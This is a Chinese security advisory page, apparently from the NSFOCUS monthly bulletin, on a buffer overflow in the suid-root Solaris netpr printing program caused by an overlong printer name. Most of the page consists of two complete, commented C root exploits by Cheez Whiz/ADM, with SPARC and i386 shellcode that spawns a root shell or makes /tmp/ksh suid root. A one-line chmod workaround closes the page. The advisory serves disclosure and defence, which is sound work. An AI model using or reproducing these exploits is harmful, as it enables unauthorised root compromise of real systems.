首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第9期->最新漏洞
期刊号: 类型: 关键词:
Solaris netpr缓冲区溢出漏洞

作者:Cheez Whiz/ADM (cheezbeast@hotmail.com )
日期:2000-05-05


发布日期: 2000-5-14
更新日期: 2000-5-14

受影响的系统:  
Solaris 2.6 i386/SPARC(with patch 106235-03 or patch 106235-04 )
Solaris 7   i386/SPARC


--------------------------------------------------------------------------------
描述:

netpr是一个Solaris 7/2.6所带的网络打印程序,它缺省被设置了suid root位.
它的-p开关用来指定打印机名称,它没有正确检查打印机名称的长度,当提供
一个超长的打印机名(超过1023字节)给它时,将导致发生缓冲区溢出.本地攻击
者可以获取root权限。


<* 来源:Cheez Whiz/ADM    cheezbeast@hotmail.com *>


--------------------------------------------------------------------------------
测试程序:

----- cut here ----- cut here ----- cut here ----- cut here -----

/**
***  netprex - SPARC Solaris root exploit for /usr/lib/lp/bin/netpr
***
***  Tested and confirmed under Solaris 2.6 and 7 (SPARC)
***
***  Usage:  % netprex -h hostname [-o offset] [-a alignment]
***
***  where hostname is the name of any reachable host running the printer
***  service on TCP port 515 (such as "localhost" perhaps), offset is the
***  number of bytes to add to the %sp stack pointer to calculate the
***  desired return address, and alignment is the number of bytes needed
***  to correctly align the first NOP inside the exploit buffer.
***
***  When the exploit is run, the host specified with the -h option will
***  receive a connection from the netpr program to a nonsense printer
***  name, but the host will be otherwise untouched.  The offset parameter
***  and the alignment parameter have default values that will be used
***  if no overriding values are specified on the command line.  In some
***  situations the default values will not work correctly and should
***  be overridden on the command line.  The offset value should be a
***  multiple of 8 and should lie reasonably close to the default value;
***  try adjusting the value by -640 to 640 from the default value in
***  increments of 64 for starters.  The alignment value should be set
***  to either 0, 1, 2, or 3.  In order to function correctly, the final
***  return address should not contain any null bytes, so adjust the offset
***  appropriately to counteract nulls should any arise.
***
***  Cheez Whiz / ADM
***  cheezbeast@hotmail.com
***
***  May 23, 1999
**/

/*    Copyright (c) 1999 ADM    */
/*      All Rights Reserved      */

/*    THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM    */
/*    The copyright notice above does not evidence any       */
/*    actual or intended publication of such source code.    */

#define BUFLEN 1087
#define NOPLEN 932
#define ADDRLEN 80

#define OFFSET 1600        /* default offset */
#define ALIGNMENT 1        /* default alignment */

#define NOP 0x801bc00f        /* xor %o7,%o7,%g0 */

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shell[] =
/* setuid:                                                 */
/*  0 */ "\x90\x1b\xc0\x0f"  /* xor %o7,%o7,%o0            */
/*  4 */ "\x82\x10\x20\x17"  /* mov 23,%g1                 */
/*  8 */ "\x91\xd0\x20\x08"  /* ta 8                       */
/* alarm:                                                  */
/* 12 */ "\x90\x1b\xc0\x0f"  /* xor %o7,%o7,%o0            */
/* 16 */ "\x82\x10\x20\x1b"  /* mov 27,%g1                 */
/* 20 */ "\x91\xd0\x20\x08"  /* ta 8                       */
/* execve:                                                 */
/* 24 */ "\x2d\x0b\xd8\x9a"  /* sethi %hi(0x2f62696e),%l6  */
/* 28 */ "\xac\x15\xa1\x6e"  /* or %l6,%lo(0x2f62696e),%l6 */
/* 32 */ "\x2f\x0b\xdc\xda"  /* sethi %hi(0x2f736800),%l7  */
/* 36 */ "\x90\x0b\x80\x0e"  /* and %sp,%sp,%o0            */
/* 40 */ "\x92\x03\xa0\x08"  /* add %sp,8,%o1              */
/* 44 */ "\x94\x1b\xc0\x0f"  /* xor %o7,%o7,%o2            */
/* 48 */ "\x9c\x03\xa0\x10"  /* add %sp,16,%sp             */
/* 52 */ "\xec\x3b\xbf\xf0"  /* std %l6,[%sp-16]           */
/* 56 */ "\xd0\x23\xbf\xf8"  /* st %o0,[%sp-8]             */
/* 60 */ "\xc0\x23\xbf\xfc"  /* st %g0,[%sp-4]             */
/* 64 */ "\x82\x10\x20\x3b"  /* mov 59,%g1                 */
/* 68 */ "\x91\xd0\x20\x08"; /* ta 8                       */

extern char *optarg;

unsigned long int
get_sp()
{
    __asm__("or %sp,%sp,%i0");
}

int
main(int argc, char *argv[])
{
    unsigned long int sp, addr;
    int c, i, offset, alignment;
    char *program, *hostname, buf[BUFLEN+1], *cp;

    program = argv[0];
    hostname = "localhost";
    offset = OFFSET;
    alignment = ALIGNMENT;

    while ((c = getopt(argc, argv, "h:o:a:")) != EOF) {
        switch (c) {
        case 'h':
            hostname = optarg;
            break;
        case 'o':
            offset = (int) strtol(optarg, NULL, 0);
            break;
        case 'a':
            alignment = (int) strtol(optarg, NULL, 0);
            break;
        default:
            fprintf(stderr, "usage: %s -h hostname [-o offset] "
            "[-a alignment]\n", program);
            exit(1);
            break;
        }
    }
    memset(buf, '\xff', BUFLEN);
    for (i = 0, cp = buf + alignment; i < NOPLEN / 4; i++) {
    *cp++ = (NOP >> 24) & 0xff;
    *cp++ = (NOP >> 16) & 0xff;
    *cp++ = (NOP >>  8) & 0xff;
    *cp++ = (NOP >>  0) & 0xff;
    }
    memcpy(cp, shell, strlen(shell));
    sp = get_sp(); addr = sp + offset; addr &= 0xfffffff8;
    for (i = 0, cp = buf + BUFLEN - ADDRLEN; i < ADDRLEN / 4; i++) {
    *cp++ = (addr >> 24) & 0xff;
    *cp++ = (addr >> 16) & 0xff;
    *cp++ = (addr >>  8) & 0xff;
    *cp++ = (addr >>  0) & 0xff;
    }
    buf[BUFLEN] = '\0';
    fprintf(stdout, "%%sp 0x%08lx offset %d --> return address 0x%08lx [%d]\n",
        sp, offset, addr, alignment);
    execle("/usr/lib/lp/bin/netpr",
       "netpr",
       "-I", "ADM-ADM",
       "-U", "ADM!ADM",
       "-p", buf,
       "-d", hostname,
       "-P", "bsd",
       "/etc/passwd", NULL, NULL);
    fprintf(stderr, "unable to exec netpr: %s\n", strerror(errno));
    exit(1);
}

----- cut here ----- cut here ----- cut here ----- cut here -----

/**
***  netprex - i386 Solaris root exploit for /usr/lib/lp/bin/netpr
***
***  Tested and confirmed under Solaris 2.6 and 7 (i386)
***
***  Usage:  % netprex hostname [offset]
***
***  where hostname is the name of a host running the printer service on
***  TCP port 515 (such as "localhost" perhaps) and offset (if present)
***  is the number of bytes to add to the stack pointer to calculate your
***  target return address; try -1000 to 1000 in increments of 100 for
***  starters.
***
***  Cheez Whiz / ADM
***  cheezbeast@hotmail.com
***
***  March 4, 1999
**/

/*    Copyright (c) 1999 ADM    */
/*      All Rights Reserved      */

/*    THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM    */
/*    The copyright notice above does not evidence any       */
/*    actual or intended publication of such source code.    */

#define BUFLEN 1047
#define NOP 0x90

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>

char shell[] =
/*  0 */ "\xeb\x41"                              /* jmp springboard       */
/* syscall:                                                               */
/*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"          /* lcall 0x7,0x0         */
/*  9 */ "\xc3"                                  /* ret                   */
/* start:                                                                 */
/* 10 */ "\x5e"                                  /* popl %esi             */
/* 11 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 13 */ "\x89\x46\xbb"                          /* movl %eax,-0x45(%esi) */
/* 16 */ "\x88\x46\xc0"                          /* movb %al,-0x40(%esi)  */
/* 19 */ "\x88\x46\x08"                          /* movb %al,0x8(%esi)    */
/* chown:                                                                 */
/* 22 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 24 */ "\x50"                                  /* pushl %eax            */
/* 25 */ "\x50"                                  /* pushl %eax            */
/* 26 */ "\x56"                                  /* pushl %esi            */
/* 27 */ "\xb0\x10"                              /* movb $0x10,%al        */
/* 29 */ "\xe8\xe0\xff\xff\xff"                  /* call syscall          */
/* 34 */ "\x83\xc4\x0c"                          /* addl $0xc,%esp        */
/* chmod:                                                                 */
/* 37 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 39 */ "\xb0\x6d"                              /* movb $0x6d,%al        */
/* 41 */ "\xb4\x09"                              /* movb $0x9,%ah         */
/* 43 */ "\x50"                                  /* pushl %eax            */
/* 44 */ "\x56"                                  /* pushl %esi            */
/* 45 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 47 */ "\xb0\x0f"                              /* movb $0xf,%al         */
/* 49 */ "\xe8\xcc\xff\xff\xff"                  /* call syscall          */
/* 54 */ "\x83\xc4\x08"                          /* addl $0x8,%esp        */
/* exit:                                                                  */
/* 57 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 59 */ "\x50"                                  /* pushl %eax            */
/* 60 */ "\xb0\x01"                              /* movb $0x1,%al         */
/* 62 */ "\xe8\xbf\xff\xff\xff"                  /* call syscall          */
/* springboard:                                                           */
/* 67 */ "\xe8\xc2\xff\xff\xff"                  /* call start            */
/* data:                                                                  */
/* 72 */ "\x2f\x74\x6d\x70\x2f\x6b\x73\x68\xff"; /* DATA                  */

char buf[BUFLEN+1];

unsigned long int
get_esp()
{
    __asm__("movl %esp,%eax");
}

int
main(int argc, char *argv[])
{
    unsigned long int esp, nop;
    long int offset = 0;
    char *hostname, c;
    int i, null, umbilical[2];
    struct stat st;
    int status;

    if (argc < 2) {
        printf("usage: %s hostname [offset]\n", argv[0]);
        exit(1);
    }

    esp = get_esp();
    hostname = argv[1];
    if (argc > 2)
        offset = strtol(argv[2], NULL, 0);
    if (argc > 3)
        nop = strtoul(argv[3], NULL, 0);
    else
        nop = 942;

    memset(buf, NOP, BUFLEN);
    memcpy(buf+nop, shell, strlen(shell));
    for (i = nop+strlen(shell); i <= BUFLEN-4; i += 4)
        *((int *) &buf[i]) = esp+offset;

    printf("using return address 0x%08x (0x%08x offset %d) [nop %d]\n",
       esp+offset, esp, offset, nop);

    if (stat("/tmp/ksh", &st) < 0) {
    printf("exploit failed; copy /bin/ksh to /tmp first!\n");
    exit(1);
    }

    if (pipe(umbilical) < 0) {
    printf("exploit failed; unable to create a pipe!\n");
    exit(1);
    }

    switch (fork()) {
    case -1:
    printf("exploit failed; unable to fork!\n");
    exit(1);
    break;
    case 0:
    if ((null = open("/dev/null", O_RDWR, 0)) < 0) {
        printf("exploit failed; cannot open /dev/null!\n");
        exit(1);
    }
    dup2(null, STDIN_FILENO);
    dup2(null, STDOUT_FILENO);
    dup2(null, STDERR_FILENO);
    if (null > STDERR_FILENO)
        close(null);
    close(umbilical[0]);
    dup2(umbilical[1], 10);    /* yes, descriptor 10 -- trust me ;-) */
    execl("/usr/lib/lp/bin/netpr",
          "netpr",
          "-I", "ADM-ADM",
          "-U", "ADM!ADM",
          "-p", buf,
          "-d", hostname,
          "-P", "bsd",
          "/etc/passwd", NULL);
    printf("exploit failed; unable to exec!\n");
    exit(1);
    break;
    default:
    close(umbilical[1]);
    c = 0;
    while (c != '\n') {
        read(umbilical[0], &c, 1);
    }
    c = '\0';
    while (write(umbilical[0], &c, 1) < 1)
        ;
    wait(&status);
    if (WIFSIGNALED(status)) {
        printf("exploit failed; child process died on signal %d "
           "(try adjusting the offset)\n", WTERMSIG(status));
        exit(1);
    } else if (WIFEXITED(status) && (WEXITSTATUS(status) != 0)) {
        printf("exploit failed; child process exited with unexpected "
                   "return value %d, instead of 0\n", WEXITSTATUS(status));
        exit(1);
    }
    break;
    }

    if (stat("/tmp/ksh", &st) < 0) {
    printf("exploit failed; /tmp/ksh disappeared somehow!\n");
    exit(1);
    } else if (st.st_uid != 0) {
    printf("exploit failed; failed to make /tmp/ksh owned by root!\n");
    exit(1);
    } else if ((st.st_mode & 07777) != 04555) {
    printf("exploit failed; failed to change /tmp/ksh to mode 4555!\n");
    exit(1);
    } else {
    printf("exploit successful; /tmp/ksh is now SUID root, dewd!\n");
    exit(0);
    }
}

--------------------------------------------------------------------------------
建议:

临时解决方法:chmod u-s /usr/lib/lp/bin/netpr


版权所有,未经许可,不得转载